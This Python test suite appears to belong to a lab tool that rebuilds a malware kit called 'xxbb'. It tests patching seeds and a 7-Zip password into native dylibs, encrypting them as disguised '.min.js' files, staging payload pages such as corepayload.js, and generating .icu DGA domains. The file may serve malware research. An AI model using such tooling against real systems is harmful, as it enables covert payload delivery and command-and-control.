#!/usr/bin/env python3 from __future__ import annotations import json import sys import tempfile import unittest from pathlib import Path TOOLS = Path(__file__).resolve().parents[1] sys.path.insert(0, str(TOOLS)) from _secondary_pack import decrypt_secondary_minjs # noqa: E402 import build as xxbb_build # noqa: E402 from reproduce_xxbb_dga import generate_domains # noqa: E402 class XxbbBuildTest(unittest.TestCase): def test_patch_and_round_trip(self) -> None: meta = json.loads((TOOLS / "secondary_keys.json").read_text()) dep = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" rep = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" channel_c = "cccccccccccccccccccccccccccccccc" patched = {} for group in ("A", "B", "C"): path = xxbb_build.group_dylib_path(group) data = xxbb_build.patch_dylib( path.read_bytes(), deployment_seed=dep, reporting_seed=rep, channel_c=channel_c, label=path.name, scheme="https", ) self.assertEqual(data.count(dep.encode()), 1) self.assertEqual(data.count(rep.encode()), 1) self.assertEqual(data.count(channel_c.encode()), 1) self.assertEqual(data.count(xxbb_build.ORIGINAL_DEP.encode()), 0) self.assertEqual(data.count(xxbb_build.ORIGINAL_REP.encode()), 0) self.assertEqual(data.count(xxbb_build.ORIGINAL_C.encode()), 0) self.assertEqual(data.count(xxbb_build.SEVEN_ZIP_PASSWORD.encode()), 1) patched[group] = data for stem, info in meta["stems"].items(): key = bytes.fromhex(info["key"]) wire = __import__("_secondary_pack", fromlist=["encrypt_secondary_minjs"]).encrypt_secondary_minjs( patched[info["group"]], key ) out = decrypt_secondary_minjs(wire, key) self.assertEqual(out, patched[info["group"]]) def test_apply_writes_named_channel_html(self) -> None: with tempfile.TemporaryDirectory() as tmp: artifact = Path(tmp) / "public" state = Path(tmp) / "state" out = Path(tmp) / "out" name = "abcd1234" argv = [ "build.py", "--deployment-seed", "11111111111111111111111111111111", "--reporting-seed", "11111111111111111111111111111111", "--channel-c", "33333333333333333333333333333333", "--channel-name", name, "--artifact-root", str(artifact), "--state-root", str(state), "--out", str(out), "--apply", "--force", ] old = sys.argv try: sys.argv = argv self.assertEqual(xxbb_build.main(), 0) finally: sys.argv = old channel_dir = artifact / "source" / name details = artifact / "details" self.assertTrue((channel_dir / "index.js").is_file()) self.assertTrue((channel_dir / "weifile.html").is_file()) self.assertTrue((channel_dir / "index.html").is_file()) self.assertTrue((details / "show.html").is_file()) self.assertTrue((details / "corepayload.js").is_file()) self.assertTrue((details / "helion.js").is_file()) stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17" blob = (channel_dir / f"{stem}.min.js").read_bytes() key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"]) dylib = decrypt_secondary_minjs(blob, key) self.assertIn(b"11111111111111111111111111111111", dylib) self.assertIn(b"33333333333333333333333333333333", dylib) self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib) self.assertIn(b"https://%@\x00", dylib) self.assertNotIn(b"http://%@\x00", dylib) seeds = json.loads((state / "lab_seeds.json").read_text()) self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111") self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111") self.assertEqual(seeds["channel_c"], "33333333333333333333333333333333") self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu") self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0])) def test_seeds_generated_once_then_reused(self) -> None: with tempfile.TemporaryDirectory() as tmp: state = Path(tmp) / "state" first = xxbb_build.resolve_seeds( lab_seeds_path=state / "lab_seeds.json", cli_dep=None, cli_rep=None, cli_c=None, ) second = xxbb_build.resolve_seeds( lab_seeds_path=state / "lab_seeds.json", cli_dep=None, cli_rep=None, cli_c=None, ) self.assertTrue(first[4]) self.assertFalse(second[4]) self.assertEqual(first[:3], second[:3]) self.assertEqual(first[3], second[3]) self.assertEqual(len(first[0]), 32) self.assertEqual(len(first[1]), 32) self.assertEqual(first[0], first[1]) self.assertEqual(first[2], xxbb_build.ORIGINAL_C) self.assertEqual(len(first[3]["deployment"]), 5) self.assertEqual(len(first[3]["reporting"]), 5) self.assertEqual(first[3]["deployment"], first[3]["reporting"]) self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0])) self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu") def test_xxbb_dga_matches_native_pool(self) -> None: self.assertEqual( generate_domains("202700cfb1ad3de68e11239dcc26c30b", 5), [ "1i6cbgdyj3qdk88.icu", "avm2jnhejigb0ac.icu", "hjlif8t069cfbn3.icu", "os8yvsh2j1dv4mk.icu", "gb53wymxxljkokf.icu", ], ) self.assertEqual( generate_domains("321fb0c812b46265421b5ad9654c2b81", 1), ["8fn4957c5g986jp.icu"], ) def test_stale_lab_dga_cache_is_recomputed(self) -> None: with tempfile.TemporaryDirectory() as tmp: path = Path(tmp) / "lab_seeds.json" path.write_text( json.dumps( { "deployment_seed": "e8afcf657ad1d47256b33166f6469d6f", "reporting_seed": "e8afcf657ad1d47256b33166f6469d6f", "channel_c": xxbb_build.ORIGINAL_C, "domains": { "deployment": ["www.xa1qtof56-b1mdjth.cfd"], "reporting": ["www.xa1qtof56-b1mdjth.cfd"], }, } ) ) dep, _rep, channel_c, domains, computed = xxbb_build.resolve_seeds( lab_seeds_path=path, cli_dep=None, cli_rep=None, cli_c=None, ) self.assertTrue(computed) self.assertEqual(dep, "e8afcf657ad1d47256b33166f6469d6f") self.assertEqual(channel_c, xxbb_build.ORIGINAL_C) self.assertEqual(domains["deployment"][0], "1i6cbgdyj3qdk88.icu") saved = json.loads(path.read_text()) self.assertEqual(saved["domains"]["deployment"][0], "1i6cbgdyj3qdk88.icu") def test_cli_seeds_must_match(self) -> None: with tempfile.TemporaryDirectory() as tmp: with self.assertRaises(SystemExit): xxbb_build.resolve_seeds( lab_seeds_path=Path(tmp) / "lab_seeds.json", cli_dep="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", cli_rep="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", cli_c=None, ) def test_http_scheme_rewrites_url_formats(self) -> None: path = xxbb_build.group_dylib_path("C") raw = path.read_bytes() https = xxbb_build.patch_dylib( raw, deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", channel_c="cccccccccccccccccccccccccccccccc", label=path.name, scheme="https", ) http = xxbb_build.patch_dylib( raw, deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", channel_c="cccccccccccccccccccccccccccccccc", label=path.name, scheme="http", ) self.assertIn(b"https://%@\x00", https) self.assertIn(b"https://backup%u.icu\x00", https) self.assertNotIn(b"http://%@\x00", https) self.assertIn(b"http://%@\x00", http) self.assertIn(b"http://backup%u.icu\x00", http) self.assertNotIn(b"https://%@\x00", http) self.assertNotIn(b"https://backup%u.icu\x00", http) self.assertEqual(len(http), len(https)) def test_apply_requires_channel_name(self) -> None: with tempfile.TemporaryDirectory() as tmp: argv = [ "build.py", "--artifact-root", tmp, "--state-root", tmp, "--apply", ] old = sys.argv try: sys.argv = argv with self.assertRaises(SystemExit): xxbb_build.main() finally: sys.argv = old if __name__ == "__main__": unittest.main()